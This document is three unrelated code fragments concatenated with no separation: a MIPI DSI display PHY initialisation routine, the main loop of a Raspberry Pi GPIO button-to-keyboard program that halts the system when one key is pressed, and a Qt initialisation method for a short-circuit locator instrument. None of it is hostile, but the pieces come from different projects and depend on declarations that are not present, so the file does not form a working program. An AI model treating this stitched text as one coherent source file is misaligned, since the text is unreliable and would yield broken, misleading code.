void mipi_dsi_phy_init(int panel_ndx, struct msm_panel_info const *panel_info, int target_type) { struct mipi_dsi_phy_ctrl *pd; int i, off; MIPI_OUTP(MIPI_DSI_BASE + 0x128, 0x0001);/* start phy sw reset */ wmb(); usleep(1); MIPI_OUTP(MIPI_DSI_BASE + 0x128, 0x0000);/* end phy w reset */ wmb(); usleep(1); MIPI_OUTP(MIPI_DSI_BASE + 0x500, 0x0003);/* regulator_ctrl_0 */ MIPI_OUTP(MIPI_DSI_BASE + 0x504, 0x0001);/* regulator_ctrl_1 */ MIPI_OUTP(MIPI_DSI_BASE + 0x508, 0x0001);/* regulator_ctrl_2 */ MIPI_OUTP(MIPI_DSI_BASE + 0x50c, 0x0000);/* regulator_ctrl_3 */ MIPI_OUTP(MIPI_DSI_BASE + 0x510, 0x0100);/* regulator_ctrl_4 */ MIPI_OUTP(MIPI_DSI_BASE + 0x4b0, 0x04);/* DSIPHY_LDO_CNTRL */ pd = (panel_info->mipi).dsi_phy_db; off = 0x0480; /* strength 0 - 2 */ for (i = 0; i < 3; i++) { MIPI_OUTP(MIPI_DSI_BASE + off, pd->strength[i]); wmb(); off += 4; } off = 0x0470; /* ctrl 0 - 3 */ for (i = 0; i < 4; i++) { MIPI_OUTP(MIPI_DSI_BASE + off, pd->ctrl[i]); wmb(); off += 4; } off = 0x0500; /* regulator ctrl 0 - 4 */ for (i = 0; i < 5; i++) { MIPI_OUTP(MIPI_DSI_BASE + off, pd->regulator[i]); wmb(); off += 4; } mipi_dsi_calibration(); mipi_dsi_lane_cfg(); /* lane cfgs */ mipi_dsi_bist_ctrl(); /* bist ctrl */ off = 0x0204; /* pll ctrl 1 - 19, skip 0 */ for (i = 1; i < 20; i++) { MIPI_OUTP(MIPI_DSI_BASE + off, pd->pll[i]); wmb(); off += 4; } if (panel_info) mipi_dsi_phy_pll_config(panel_info->clk_rate); /* pll ctrl 0 */ MIPI_OUTP(MIPI_DSI_BASE + 0x200, pd->pll[0]); wmb(); off = 0x0440; /* phy timing ctrl 0 - 11 */ for (i = 0; i < 12; i++) { MIPI_OUTP(MIPI_DSI_BASE + off, pd->timing[i]); wmb(); off += 4; } if (target_type == 1) mipi_dsi_configure_serdes(); }
int main(int argc, char *argv[]) { // A few arrays here are declared with 32 elements, even though // values aren't needed for io[] members where the 'key' value is // GND. This simplifies the code a bit -- no need for mallocs and // tests to create these arrays -- but may waste a handful of // bytes for any declared GNDs. char buf[50], // For sundry filenames c, // Pin input value ('0'/'1') board; // 0=Pi1Rev1, 1=Pi1Rev2, 2=Pi2 int fd, // For mmap, sysfs, uinput i, j, // Asst. counter bitmask, // Pullup enable bitmask timeout = -1, // poll() timeout intstate[32], // Last-read state extstate[32], // Debounced state lastKey = -1; // Last key down (for repeat) unsigned long bitMask, bit; // For Vulcan pinch detect volatile unsigned char shortWait; // Delay counter struct input_event keyEv, synEv; // uinput events struct pollfd p[32]; // GPIO file descriptors progName = argv[0]; // For error reporting signal(SIGINT , signalHandler); // Trap basic signals (exit cleanly) signal(SIGKILL, signalHandler); //not needed /* // Select io[] table for Cupcade (TFT) or 'normal' project. io = (access("/etc/modprobe.d/adafruit.conf", F_OK) || access("/dev/fb1", F_OK)) ? ioStandard : ioTFT; */ io = ioStandard; // If this is a "Revision 1" Pi board (no mounting holes), // remap certain pin numbers in the io[] array for compatibility. // This way the code doesn't need modification for old boards. board = boardType(); if(board == 0) { for(i=0; io[i].pin >= 0; i++) { if( io[i].pin == 2) io[i].pin = 0; else if(io[i].pin == 3) io[i].pin = 1; else if(io[i].pin == 27) io[i].pin = 21; } } // ---------------------------------------------------------------- // Although Sysfs provides solid GPIO interrupt handling, there's // no interface to the internal pull-up resistors (this is by // design, being a hardware-dependent feature). It's necessary to // grapple with the GPIO configuration registers directly to enable // the pull-ups. Based on GPIO example code by Dom and Gert van // Loo on elinux.org if((fd = open("/dev/mem", O_RDWR | O_SYNC)) < 0) err("Can't open /dev/mem"); gpio = mmap( // Memory-mapped I/O NULL, // Any adddress will do BLOCK_SIZE, // Mapped block length PROT_READ|PROT_WRITE, // Enable read+write MAP_SHARED, // Shared with other processes fd, // File to map (board == 2) ? PI2_GPIO_BASE : // -> GPIO registers PI1_GPIO_BASE); close(fd); // Not needed after mmap() if(gpio == MAP_FAILED) err("Can't mmap()"); // Make combined bitmap of pullup-enabled pins: for(bitmask=i=0; io[i].pin >= 0; i++) if(io[i].key != GND) bitmask |= (1 << io[i].pin); gpio[GPPUD] = 2; // Enable pullup for(shortWait=150;--shortWait;); // Min 150 cycle wait gpio[GPPUDCLK0] = bitmask; // Set pullup mask for(shortWait=150;--shortWait;); // Wait again gpio[GPPUD] = 0; // Reset pullup registers gpio[GPPUDCLK0] = 0; (void)munmap((void *)gpio, BLOCK_SIZE); // Done with GPIO mmap() // ---------------------------------------------------------------- // All other GPIO config is handled through the sysfs interface. sprintf(buf, "%s/export", sysfs_root); if((fd = open(buf, O_WRONLY)) < 0) // Open Sysfs export file err("Can't open GPIO export file"); for(i=j=0; io[i].pin >= 0; i++) { // For each pin of interest... sprintf(buf, "%d", io[i].pin); write(fd, buf, strlen(buf)); // Export pin pinConfig(io[i].pin, "active_low", "0"); // Don't invert if(io[i].key == GND) { // Set pin to output, value 0 (ground) if(pinConfig(io[i].pin, "direction", "out") || pinConfig(io[i].pin, "value" , "0")) err("Pin config failed (GND)"); } else { // Set pin to input, detect rise+fall events if(pinConfig(io[i].pin, "direction", "in") || pinConfig(io[i].pin, "edge" , "both")) err("Pin config failed"); // Get initial pin value sprintf(buf, "%s/gpio%d/value", sysfs_root, io[i].pin); // The p[] file descriptor array isn't necessarily // aligned with the io[] array. GND keys in the // latter are skipped, but p[] requires contiguous // entries for poll(). So the pins to monitor are // at the head of p[], and there may be unused // elements at the end for each GND. Same applies // to the intstate[] and extstate[] arrays. if((p[j].fd = open(buf, O_RDONLY)) < 0) err("Can't access pin value"); intstate[j] = 0; if((read(p[j].fd, &c, 1) == 1) && (c == '0')) intstate[j] = 1; extstate[j] = intstate[j]; p[j].events = POLLPRI; // Set up poll() events p[j].revents = 0; j++; } } // 'j' is now count of non-GND items in io[] table close(fd); // Done exporting // ---------------------------------------------------------------- // Set up uinput #if 1 // Retrogame normally uses /dev/uinput for generating key events. // Cupcade requires this and it's the default. SDL2 (used by // some newer emulators) doesn't like it, wants /dev/input/event0 // instead. Enable that code by changing to "#if 0" above. if((fd = open("/dev/uinput", O_WRONLY | O_NONBLOCK)) < 0) err("Can't open /dev/uinput"); if(ioctl(fd, UI_SET_EVBIT, EV_KEY) < 0) err("Can't SET_EVBIT"); for(i=0; io[i].pin >= 0; i++) { if(io[i].key != GND) { if(ioctl(fd, UI_SET_KEYBIT, io[i].key) < 0) err("Can't SET_KEYBIT"); } } if(ioctl(fd, UI_SET_KEYBIT, vulcanKey) < 0) err("Can't SET_KEYBIT"); struct uinput_user_dev uidev; memset(&uidev, 0, sizeof(uidev)); snprintf(uidev.name, UINPUT_MAX_NAME_SIZE, "retrogame"); uidev.id.bustype = BUS_USB; uidev.id.vendor = 0x1; uidev.id.product = 0x1; uidev.id.version = 1; if(write(fd, &uidev, sizeof(uidev)) < 0) err("write failed"); if(ioctl(fd, UI_DEV_CREATE) < 0) err("DEV_CREATE failed"); #else // SDL2 prefers this event methodology if((fd = open("/dev/input/event0", O_WRONLY | O_NONBLOCK)) < 0) err("Can't open /dev/input/event0"); #endif // Initialize input event structures memset(&keyEv, 0, sizeof(keyEv)); keyEv.type = EV_KEY; memset(&synEv, 0, sizeof(synEv)); synEv.type = EV_SYN; synEv.code = SYN_REPORT; synEv.value = 0; // 'fd' is now open file descriptor for issuing uinput events // ---------------------------------------------------------------- // Monitor GPIO file descriptors for button events. The poll() // function watches for GPIO IRQs in this case; it is NOT // continually polling the pins! Processor load is near zero. while(running) { // Signal handler can set this to 0 to exit // Wait for IRQ on pin (or timeout for button debounce) if(poll(p, j, timeout) > 0) { // If IRQ... for(i=0; i<j; i++) { // Scan non-GND pins... if(p[i].revents) { // Event received? // Read current pin state, store // in internal state flag, but // don't issue to uinput yet -- // must wait for debounce! lseek(p[i].fd, 0, SEEK_SET); read(p[i].fd, &c, 1); if(c == '0') intstate[i] = 1; else if(c == '1') intstate[i] = 0; p[i].revents = 0; // Clear flag } } timeout = debounceTime; // Set timeout for debounce c = 0; // Don't issue SYN event // Else timeout occurred } else if(timeout == debounceTime) { // Button debounce timeout // 'j' (number of non-GNDs) is re-counted as // it's easier than maintaining an additional // remapping table or a duplicate key[] list. bitMask = 0L; // Mask of buttons currently pressed bit = 1L; for(c=i=j=0; io[i].pin >= 0; i++, bit<<=1) { if(io[i].key != GND) { // Compare internal state against // previously-issued value. Send // keystrokes only for changed states. if(intstate[j] != extstate[j]) { extstate[j] = intstate[j]; keyEv.code = io[i].key; keyEv.value = intstate[j]; if ((keyEv.code==KEY_0)&&(keyEv.value==1)) { system("sudo halt"); //system("echo \"that works\""); } else { write(fd, &keyEv, sizeof(keyEv)); } //write(fd, &keyEv, //sizeof(keyEv)); c = 1; // Follow w/SYN event if(intstate[j]) { // Press? // Note pressed key // and set initial // repeat interval. lastKey = i; timeout = repTime1; } else { // Release? // Stop repeat and // return to normal // IRQ monitoring // (no timeout). lastKey = timeout = -1; } } j++; if(intstate[i]) bitMask |= bit; } } // If the "Vulcan nerve pinch" buttons are pressed, // set long timeout -- if this time elapses without // a button state change, esc keypress will be sent. if((bitMask & vulcanMask) == vulcanMask) timeout = vulcanTime; } else if(timeout == vulcanTime) { // Vulcan timeout occurred // Send keycode (MAME exits or displays exit menu) keyEv.code = vulcanKey; for(i=1; i>= 0; i--) { // Press, release keyEv.value = i; write(fd, &keyEv, sizeof(keyEv)); usleep(10000); // Be slow, else MAME flakes write(fd, &synEv, sizeof(synEv)); usleep(10000); } timeout = -1; // Return to normal processing c = 0; // No add'l SYN required } else if(lastKey >= 0) { // Else key repeat timeout if(timeout == repTime1) timeout = repTime2; else if(timeout > 30) timeout -= 5; // Accelerate c = 1; // Follow w/SYN event keyEv.code = io[lastKey].key; keyEv.value = 2; // Key repeat event write(fd, &keyEv, sizeof(keyEv)); } if(c) write(fd, &synEv, sizeof(synEv)); } // ---------------------------------------------------------------- // Clean up ioctl(fd, UI_DEV_DESTROY); // Destroy and close(fd); // close uinput cleanup(); // Un-export pins puts("Done."); return 0; }
void ShortLocater::Initializations(){ IPsoc->resetRelays(); IPsoc->srcImpedanceSelection(SRC_IMP_0E); // IPsoc->shLocatorDetection(); m_nADCtimer = new QTimer(this); IBackPlane->writeBackPlaneRegister(0x0FFF,0x001E);//clear all interrupts IBackPlane->writeBackPlaneRegister(0x0000,0x0020);//disable all interrupts IBackPlane->writeBackPlaneRegister(0x0000,0x0024);//disable global interrupt IBackPlane->writeBackPlaneRegister(0x0100,0x0020);//enabling psoc INT0embedded key interrupt) IPTKeyEvent->InvokeGPIOEvent(this,"/dev/input/event2","pt_kpp",&m_nPTKeyCode); IGPIOEvent->InvokeGPIOEvent(this,"/dev/input/event7","gpioevent",&m_nGPIOCode); IBackPlane->writeBackPlaneRegister(0x0001,0x0024); // IBackPlane->writeBackPlaneRegister(); ohms=QChar(0x2126); micro=QChar(0x00B5); //~~~~~~~~~~~~~Reading Short Values from File~~~~~~~~~~~~~~~~~~~~~~ QStringList stringList; bool ok=true; QFile textFile; textFile.setFileName("shortValuesI.txt"); if (textFile.open(QIODevice::ReadOnly)) { QTextStream textStream(&textFile); while (!textStream.atEnd()) { stringList.append(textStream.readLine()); } r200EShortValue=stringList.value(0).toDouble(&ok); qDebug()<<"200E Short Value:"<<r200EShortValue; r2EShortValue=stringList.value(1).toDouble(&ok); qDebug()<<"2E Short Value:"<<r2EShortValue; r200mEShortValue=stringList.value(2).toDouble(&ok); qDebug()<<"200mE Short Value:"<<r200mEShortValue; }else{ r200EShortValue=r200mEShortValue=r2EShortValue=0.0; } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //~~~~~~~~Check for debug panel~~~~~~~~~~~~~~~~~~~~~~~~ QStringList debugPanel; QFile textFile2("debugPanel.txt"); if (textFile2.open(QIODevice::ReadOnly)) { QTextStream textStream(&textFile2); while (!textStream.atEnd()) { debugPanel.append(textStream.readLine()); if(debugPanel.value(0)=="1") ToolBox(true); else ToolBox(false); } }else{ ToolBox(false); } //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ IDMMLib->ApplyDACOffset(false); dis->setValue("OL"); IBackPlane->writeBackPlaneRegister(0x0,0x16); // Beep(false); AutoFlag=false; on_Auto_clicked(); OffsetFlag=false; BuzzerFlag=false; msgBoxLive=false; ui.progressBar_2->setValue(0); for(int i=0;i<100;i++) avgRetval[i]=0.0; retval=retval2=retval3=0.0; nullify=0.0; nullit=0.0; avg=0; noOFsamples=1; rangePrevValue=33; ui.uE->setText(micro+ohms); on_r200But_clicked(); ui.holdCap->setVisible(false); runFlag=true; startStop(); ui.openShortEnable->setChecked(true); m_nAvgCount=0; movingAverage=5; ui.splashWidget->setVisible(false); usleep(1000); }